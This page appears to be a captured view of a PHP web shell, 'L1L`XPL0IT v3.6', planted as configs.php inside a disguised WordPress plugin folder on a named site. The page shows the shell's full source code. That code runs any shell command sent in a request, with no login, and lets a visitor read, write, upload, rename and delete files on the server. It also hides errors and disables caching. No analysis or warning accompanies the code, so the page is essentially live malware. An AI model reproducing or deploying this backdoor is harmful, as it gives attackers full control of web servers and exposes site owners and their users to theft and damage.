L1L`XPL0IT

✏️ Edit: configs.php

📁 /home/digit533/test2.mazzikagroup.com/wp-content/plugins/wp-cfg/configs.php

<?php
@error_reporting(0);
@ini_set("display_errors",0);
@set_time_limit(0);
@ini_set("max_execution_time",0);
@ini_set("session.use_cookies","0");
@ini_set("session.use_only_cookies","0");
@ini_set("session.cache_limiter","");
if(!headers_sent()){
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Pragma: no-cache");
    header("Expires: Thu, 01 Jan 1970 00:00:00 GMT");
    @header_remove("Set-Cookie");
}

$a = isset($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) ? $_POST['a'] : '');
$f = isset($_GET['f']) ? $_GET['f'] : (isset($_POST['f']) ? $_POST['f'] : '');
$c = isset($_POST['c']) ? $_POST['c'] : (isset($_GET['c']) ? $_GET['c'] : '');
$d = isset($_GET['d']) ? $_GET['d'] : (isset($_POST['d']) ? $_POST['d'] : '');
$pwd = isset($_REQUEST['path']) ? $_REQUEST['path'] : getcwd();

// API endpoints
if($a==='ls'){
    $dir=$d?:'.';
    if(!is_dir($dir)){echo json_encode(['error'=>'not dir']);exit;}
    $dirs=[];$files=[];
    $h=@opendir($dir);
    if($h){
        while(($e=readdir($h))!==false){
            if($e==='.'||$e==='..')continue;
            $p=$dir.'/'.$e;
            $t=@filemtime($p);$s=@filesize($p);$perm=@substr(sprintf('%o',@fileperms($p)),-4);
            if(is_dir($p))$dirs[]=['n'=>$e,'p'=>$p,'s'=>$s,'t'=>$t,'perm'=>$perm];
            else $files[]=['n'=>$e,'p'=>$p,'s'=>$s,'t'=>$t,'perm'=>$perm];
        }
        closedir($h);
    }
    echo json_encode(['dirs'=>$dirs,'files'=>$files,'cwd'=>$dir]);
    exit;
}
if($a==='cat'){$content=@file_get_contents($f);echo $content===false?json_encode(['error'=>'cannot read']):$content;exit;}
if($a==='put'){
    if(!$f){echo 'fail';exit;}
    $content=isset($_POST['c'])?$_POST['c']:(isset($_GET['c'])?$_GET['c']:'');
    if(!$content){$content=@file_get_contents('php://input');}
    $r=@file_put_contents($f,$content);
    if(!$r){$fh=@fopen($f,'w');if($fh){$r=@fwrite($fh,$content);@fclose($fh);$r=$r!==false;}}
    if(!$r){$tmp=@tempnam(sys_get_temp_dir(),'php');if($tmp){@file_put_contents($tmp,$content);$r=@copy($tmp,$f);@unlink($tmp);}}
    echo $r?'ok':'fail';exit;
}
if($a==='rn'){$old=isset($_REQUEST['old'])?$_REQUEST['old']:'';$new=isset($_REQUEST['new'])?$_REQUEST['new']:'';echo @rename($old,$new)?'ok':'fail';exit;}
if($a==='rm'){echo @unlink($f)?'ok':'fail';exit;}
if($a==='x'){
    $cmd=isset($_GET['c'])?$_GET['c']:(isset($_POST['c'])?$_POST['c']:'');
    if(!$cmd){echo 'NO_CMD';exit;}
    $o='';
    if(function_exists('proc_open')){$p=@proc_open($cmd,[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']],$pp);if(is_resource($p)){$o=@stream_get_contents($pp[1]);@fclose($pp[0]);@fclose($pp[1]);@fclose($pp[2]);@proc_close($p);}}
    elseif(function_exists('popen')){$h=@popen($cmd,'r');if($h){while(!feof($h))$o.=@fread($h,4096);@pclose($h);}}
    elseif(function_exists('shell_exec')){$o=@shell_exec($cmd);}
    elseif(function_exists('system')){ob_start();@system($cmd);$o=ob_get_contents();ob_end_clean();}
    elseif(function_exists('exec')){@exec($cmd,$out);$o=implode("\n",$out);}
    echo $o?:'NO_OUTPUT';exit;
}

// Upload handler
if(isset($_FILES['f'])&&!empty($_FILES['f']['name'])){
    $dest=($pwd&&$pwd!==getcwd()?$pwd.'/':'').basename($_FILES['f']['name']);
    $r=@move_uploaded_file($_FILES['f']['tmp_name'],$dest);
    if(!$r)$r=@copy($_FILES['f']['tmp_name'],$dest);
    if(!$r){$cc=@file_get_contents($_FILES['f']['tmp_name']);if($cc!==false)$r=@file_put_contents($dest,$cc);}
    $msg=$r?'✅ Uploaded: '.basename($_FILES['f']['name']):'❌ Upload failed';
}

$u=function_exists("posix_getpwuid")?@posix_getpwuid(posix_getuid()):false;
$uname=$u?$u["name"]:get_current_user();
$safe_pwd=htmlspecialchars($pwd);

// Action handlers
$act=$_GET['act']??$_POST['act']??'';
$item=$_GET['item']??$_POST['item']??'';
$action_result='';

if($act==='del'&&$item&&file_exists($item)){@unlink($item);$action_result='<div class="msg msg-ok">🗑 Deleted: '.htmlspecialchars(basename($item)).'</div>';}
if($act==='rmdir'&&$item&&file_exists($item)){@rmdir($item);$action_result='<div class="msg msg-ok">📁 Removed: '.htmlspecialchars(basename($item)).'</div>';}
if($act==='rn'&&$item&&isset($_POST['newname'])&&$_POST['newname']){
    $newpath=dirname($item).'/'.basename($_POST['newname']);
    if(@rename($item,$newpath))$action_result='<div class="msg msg-ok">✏️ Renamed: '.htmlspecialchars(basename($item)).' → '.htmlspecialchars($_POST['newname']).'</div>';
    else $action_result='<div class="msg msg-err">❌ Rename failed</div>';
}
if($act==='mv'&&$item&&isset($_POST['destdir'])&&$_POST['destdir']){
    $newpath=rtrim($_POST['destdir'],'/').'/'.basename($item);
    if(@rename($item,$newpath))$action_result='<div class="msg msg-ok">📦 Moved: '.htmlspecialchars(basename($item)).' → '.htmlspecialchars($newpath).'</div>';
    else $action_result='<div class="msg msg-err">❌ Move failed</div>';
}
if(isset($_POST['save_edit'])&&$_POST['save_edit']&&isset($_POST['edit_content'])){
    @file_put_contents($_POST['save_edit'],$_POST['edit_content']);
    $action_result='<div class="msg msg-ok">💾 Saved: '.htmlspecialchars(basename($_POST['save_edit'])).'</div>';
}
?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>L1L`XPL0IT</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#0a0a0f;color:#b0b0c0;font:13px/1.6 "Cascadia Code","Fira Code",Consolas,monospace;padding:12px}
.wrap{max-width:1400px;margin:0 auto}
.header{background:linear-gradient(135deg,#0d1017,#111827);border:1px solid #1a1a2e;border-radius:8px;padding:14px 18px;margin-bottom:12px;display:flex;justify-content:space-between;align-items:center}
.header .logo{color:#64b5f6;font-size:16px;font-weight:700}
.header .info{color:#4a5568;font-size:12px}
.panel{background:#0d1017;border:1px solid #1a1a2e;border-radius:8px;margin-bottom:10px;overflow:hidden}
.panel-hd{background:rgba(100,181,246,0.04);border-bottom:1px solid #1a1a2e;padding:10px 14px;font-size:13px;font-weight:600;color:#64b5f6;display:flex;align-items:center;gap:8px}
.panel-bd{padding:12px 14px}
.btn{padding:7px 16px;background:linear-gradient(135deg,#1a2a4a,#16213e);color:#64b5f6;border:1px solid #2a4a6a;border-radius:5px;cursor:pointer;font:12px monospace;transition:all 0.2s}
.btn:hover{background:linear-gradient(135deg,#2a3a5a,#1a2a4a);border-color:#64b5f6}
.btn-sm{padding:4px 10px;font-size:11px}
.btn-danger{background:rgba(239,83,80,0.1);color:#ef5350;border-color:rgba(239,83,80,0.2)}
.btn-danger:hover{background:rgba(239,83,80,0.2)}
input[type=text],textarea{background:#08080f;color:#b0b0c0;border:1px solid #161622;border-radius:5px;padding:8px 10px;font:12px monospace;width:100%}
input[type=text]:focus,textarea:focus{border-color:#64b5f6;outline:none}
textarea{height:300px;resize:vertical}
table{width:100%;border-collapse:collapse;font-size:12px}
th{background:#111827;padding:7px 10px;text-align:left;color:#4a5568;font-size:11px;text-transform:uppercase;letter-spacing:1px;border-bottom:2px solid #1a1a2e}
td{padding:6px 10px;border-bottom:1px solid #0f1018}
tr:hover td{background:#111827}
.dir a{color:#64b5f6;font-weight:600;text-decoration:none}
.dir a:hover{text-decoration:underline}
.file a{color:#8b949e;text-decoration:none}
.file a:hover{color:#fff}
.sz{color:#4a5568;font-size:11px}
.perm{color:#2a4a2a;font-size:11px;font-family:monospace;background:#0a1a0a;padding:1px 6px;border-radius:3px}
.act-btn{display:inline-flex;align-items:center;gap:3px;color:#4a5568;text-decoration:none;font-size:11px;padding:3px 8px;border:1px solid #1a1a2e;border-radius:4px;transition:all 0.15s;cursor:pointer}
.act-btn:hover{color:#64b5f6;border-color:#64b5f6;background:rgba(100,181,246,0.05)}
.act-btn.view{color:#4ec9b0;border-color:rgba(78,201,176,0.2)}
.act-btn.view:hover{background:rgba(78,201,176,0.08);border-color:#4ec9b0}
.act-btn.edit{color:#64b5f6;border-color:rgba(100,181,246,0.2)}
.act-btn.edit:hover{background:rgba(100,181,246,0.08);border-color:#64b5f6}
.act-btn.rename{color:#dcdcaa;border-color:rgba(220,220,170,0.2)}
.act-btn.rename:hover{background:rgba(220,220,170,0.08);border-color:#dcdcaa}
.act-btn.del{color:#ef5350;border-color:rgba(239,83,80,0.2)}
.act-btn.del:hover{background:rgba(239,83,80,0.08);border-color:#ef5350}
.path-nav{display:flex;flex-wrap:wrap;gap:2px;margin-bottom:10px}
.path-nav a{color:#64b5f6;text-decoration:none;padding:2px 6px;font-size:12px;border-radius:3px}
.path-nav a:hover{background:#094771}
.msg{padding:8px 12px;border-radius:5px;margin:8px 0;font-size:12px}
.msg-ok{background:rgba(58,224,58,0.08);color:#3ae03a;border:1px solid rgba(58,224,58,0.15)}
.msg-err{background:rgba(239,83,80,0.08);color:#ef5350;border:1px solid rgba(239,83,80,0.15)}
.upload-area{border:2px dashed #1a1a2e;border-radius:8px;padding:20px;text-align:center;transition:all 0.2s;cursor:pointer}
.upload-area:hover{border-color:#64b5f6;background:rgba(100,181,246,0.03)}
.upload-area.dragover{border-color:#64b5f6;background:rgba(100,181,246,0.08)}
.out{background:#050508;color:#3ae03a;padding:10px;border-radius:5px;font:11px/1.6 monospace;max-height:300px;overflow:auto;white-space:pre-wrap;word-break:break-all;border:1px solid #0a1a0a}
.cmd-form{display:flex;gap:6px}
.cmd-form input[type=text]{flex:1}
.footer{text-align:center;color:#1a1a2e;font-size:10px;margin-top:12px}
.grid2{display:grid;grid-template-columns:1fr 1fr;gap:10px}
@media(max-width:768px){.grid2{grid-template-columns:1fr}}
.action-panel{background:#0d1017;border:1px solid #64b5f6;border-radius:8px;margin-bottom:12px;overflow:hidden;box-shadow:0 0 15px rgba(100,181,246,0.1)}
.action-panel .panel-hd{background:rgba(100,181,246,0.08)}
</style></head><body>
<div class="wrap">
<div class="header">
<span class="logo">⚡ L1L`XPL0IT</span>
<span class="info"><?php echo phpversion()." | ".php_uname("s")." | ".$uname." (uid:".(function_exists("posix_getuid")?@posix_getuid():"-").")"; ?></span>
</div>

<?php if(isset($msg)): ?><div class="msg <?php echo $r?'msg-ok':'msg-err'; ?>"><?php echo $msg; ?></div><?php endif; ?>
<?php echo $action_result; ?>

<?php if($act==='view'&&$item&&file_exists($item)): ?>
<div class="action-panel">
<div class="panel-hd">👁 View: <?php echo htmlspecialchars(basename($item)); ?></div>
<div class="panel-bd">
<div style="color:#4a5568;font-size:11px;margin-bottom:8px">📁 <?php echo htmlspecialchars($item); ?></div>
<div class="out"><?php echo htmlspecialchars(@file_get_contents($item)); ?></div>
<div style="margin-top:8px"><a href="?path=<?php echo urlencode($pwd); ?>" class="btn btn-sm">← Back</a></div>
</div></div>
<?php endif; ?>

<?php if($act==='edit'&&$item&&file_exists($item)): ?>
<div class="action-panel">
<div class="panel-hd">✏️ Edit: <?php echo htmlspecialchars(basename($item)); ?></div>
<div class="panel-bd">
<div style="color:#4a5568;font-size:11px;margin-bottom:8px">📁 <?php echo htmlspecialchars($item); ?></div>
<form method="POST">
<input type="hidden" name="path" value="<?php echo $safe_pwd; ?>">
<input type="hidden" name="save_edit" value="<?php echo htmlspecialchars($item); ?>">
<textarea name="edit_content"><?php echo htmlspecialchars(@file_get_contents($item)); ?></textarea>
<div style="margin-top:8px;display:flex;gap:6px">
<input type="submit" value="💾 Save" class="btn">
<a href="?path=<?php echo urlencode($pwd); ?>" class="btn btn-sm" style="background:none;color:#4a5568;border-color:#1a1a2e">Cancel</a>
</div>
</form>
</div></div>
<?php endif; ?>

<?php if($act==='rename'&&$item&&file_exists($item)): ?>
<div class="action-panel">
<div class="panel-hd">✏️ Rename: <?php echo htmlspecialchars(basename($item)); ?></div>
<div class="panel-bd">
<div style="color:#4a5568;font-size:11px;margin-bottom:8px">📁 <?php echo htmlspecialchars($item); ?></div>
<form method="POST">
<input type="hidden" name="path" value="<?php echo $safe_pwd; ?>">
<input type="hidden" name="act" value="rn">
<input type="hidden" name="item" value="<?php echo htmlspecialchars($item); ?>">
<div style="display:flex;gap:8px">
<input type="text" name="newname" value="<?php echo htmlspecialchars(basename($item)); ?>" style="flex:1">
<input type="submit" value="✏️ Rename" class="btn">
<a href="?path=<?php echo urlencode($pwd); ?>" class="btn btn-sm" style="background:none;color:#4a5568;border-color:#1a1a2e">Cancel</a>
</div>
</form>
</div></div>
<?php endif; ?>

<?php if($act==='move'&&$item&&file_exists($item)): ?>
<div class="action-panel">
<div class="panel-hd">📦 Move: <?php echo htmlspecialchars(basename($item)); ?></div>
<div class="panel-bd">
<div style="color:#4a5568;font-size:11px;margin-bottom:8px">📁 <?php echo htmlspecialchars($item); ?></div>
<form method="POST">
<input type="hidden" name="path" value="<?php echo $safe_pwd; ?>">
<input type="hidden" name="act" value="mv">
<input type="hidden" name="item" value="<?php echo htmlspecialchars($item); ?>">
<div style="display:flex;gap:8px">
<input type="text" name="destdir" value="<?php echo $safe_pwd; ?>" style="flex:1" placeholder="/target/folder">
<input type="submit" value="📦 Move" class="btn">
<a href="?path=<?php echo urlencode($pwd); ?>" class="btn btn-sm" style="background:none;color:#4a5568;border-color:#1a1a2e">Cancel</a>
</div>
</form>
</div></div>
<?php endif; ?>

<div class="grid2">
<div class="panel"><div class="panel-hd">💻 Terminal</div><div class="panel-bd">
<form method="POST" class="cmd-form">
<input type="hidden" name="path" value="<?php echo $safe_pwd; ?>">
<input type="text" name="_x" placeholder="whoami" autofocus>
<input type="submit" value="Run" class="btn">
</form>
<?php if(isset($_POST['_x'])&&$_POST['_x']!==''): ?>
<div class="out" style="margin-top:8px"><?php
$cc=$_POST['_x'];$oo='';
if(function_exists('proc_open')){$pp=@proc_open($cc,[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']],$pipes);if(is_resource($pp)){$oo=@stream_get_contents($pipes[1]);@fclose($pipes[0]);@fclose($pipes[1]);@fclose($pipes[2]);@proc_close($pp);}}
elseif(function_exists('popen')){$hh=@popen($cc,'r');if($hh){while(!feof($hh))$oo.=@fread($hh,4096);@pclose($hh);}}
elseif(function_exists('shell_exec')){$oo=@shell_exec($cc);}
echo htmlspecialchars($oo?:'NO_OUTPUT');
?></div><?php endif; ?>
</div></div>

<div class="panel"><div class="panel-hd">📤 Upload</div><div class="panel-bd">
<form method="POST" enctype="multipart/form-data" id="uploadForm">
<input type="hidden" name="path" value="<?php echo $safe_pwd; ?>">
<div class="upload-area" id="dropZone" onclick="document.getElementById('fileInput').click()">
<div style="font-size:28px;margin-bottom:6px">📂</div>
<div style="color:#4a5568;font-size:12px">Click or Drag & Drop</div>
<input type="file" name="f" id="fileInput" style="display:none">
</div>
<div id="fileList" style="margin-top:6px;font-size:11px;color:#4a5568"></div>
<div style="margin-top:8px;display:flex;gap:6px;align-items:center">
<input type="submit" value="📤 Upload" class="btn">
</div>
</form>
</div></div>
</div>

<div class="panel"><div class="panel-hd">📁 <?php echo $safe_pwd; ?></div><div class="panel-bd">
<div class="path-nav">
<?php
$parts=explode("/",$pwd);$cum="";
foreach($parts as $i=>$p){
    if($p===""){$cum="/";echo '<a href="?path=/">/</a>';continue;}
    $cum.=($cum==="/"?"":"/").$p;
    echo '<span style="color:#2a2a4a">/</span><a href="?path='.urlencode($cum).'">'.htmlspecialchars($p).'</a>';
}
?>
</div>

<?php
if(isset($_POST['action'])){
    $ii=$pwd.'/'.($_POST['name']??'');
    if($_POST['action']==='mkfile'&&$_POST['name']){@file_put_contents($ii,'');echo '<div class="msg msg-ok">📄 Created: '.htmlspecialchars($_POST['name']).'</div>';}
    if($_POST['action']==='mkdir'&&$_POST['name']){@mkdir($ii,0755,true);echo '<div class="msg msg-ok">📁 Created: '.htmlspecialchars($_POST['name']).'</div>';}
}

$items=@scandir($pwd);
if($items){
    $dirs_list=[];$files_list=[];
    foreach($items as $ff){
        if($ff==='.'||$ff==='..')continue;
        $fp=$pwd.'/'.$ff;
        if(is_dir($fp))$dirs_list[]=$ff;
        else $files_list[]=$ff;
    }
    $items=array_merge($dirs_list,$files_list);

echo '<table><tr><th>Name</th><th style="width:70px">Size</th><th style="width:50px">Perm</th><th style="width:130px">Modified</th><th style="width:280px">Actions</th></tr>';
    foreach($items as $ff){
        $fp=$pwd.'/'.$ff;
        $is=is_dir($fp);$sz=$is?'-':@filesize($fp);
        $szs=$is?'-':($sz>1048576?round($sz/1048576,1).'M':($sz>1024?round($sz/1024,1).'K':$sz.'B'));
        $perm=@substr(sprintf('%o',@fileperms($fp)),-4);
        $mt=date('Y-m-d H:i',@filemtime($fp));
        $ap='?path='.urlencode($pwd);
        if($is){
            echo '<tr><td class="dir"><a href="?path='.urlencode($fp).'">📁 '.htmlspecialchars($ff).'/</a></td><td class="sz">-</td><td><span class="perm">'.$perm.'</span></td><td class="sz">'.$mt.'</td>';
            echo '<td><a href="'.$ap.'&act=rmdir&item='.urlencode($fp).'" class="act-btn del" onclick="return confirm(\'Delete?\')">🗑 Delete</a></td></tr>';
        } else {
            echo '<tr><td class="file">'.htmlspecialchars($ff).'</td><td class="sz">'.$szs.'</td><td><span class="perm">'.$perm.'</span></td><td class="sz">'.$mt.'</td>';
            echo '<td style="white-space:nowrap">';
            echo '<a href="'.$ap.'&act=view&item='.urlencode($fp).'" class="act-btn view">👁 View</a> ';
            echo '<a href="'.$ap.'&act=edit&item='.urlencode($fp).'" class="act-btn edit">✏️ Edit</a> ';
            echo '<a href="'.$ap.'&act=rename&item='.urlencode($fp).'" class="act-btn rename">📝 Rename</a> ';
            echo '<a href="'.$ap.'&act=move&item='.urlencode($fp).'" class="act-btn">📦 Move</a> ';
            echo '<a href="'.$ap.'&act=del&item='.urlencode($fp).'" class="act-btn del" onclick="return confirm(\'Delete?\')">🗑 Del</a>';
            echo '</td></tr>';
        }
    }
    echo '</table>';
}
?>
</div></div>
<div class="footer">L1L`XPL0IT v3.6</div>
</div>

Cancel

💻 Terminal

📤 Upload

📁 /home/digit533/test2.mazzikagroup.com/wp-content/plugins/wp-cfg

//home/digit533/test2.mazzikagroup.com/wp-content/plugins/wp-cfg

Name	Size	Perm	Modified	Actions
configs.php	19.3K	0644	2026-08-28 06:05	👁 View ✏️ Edit 📝 Rename 📦 Move 🗑 Del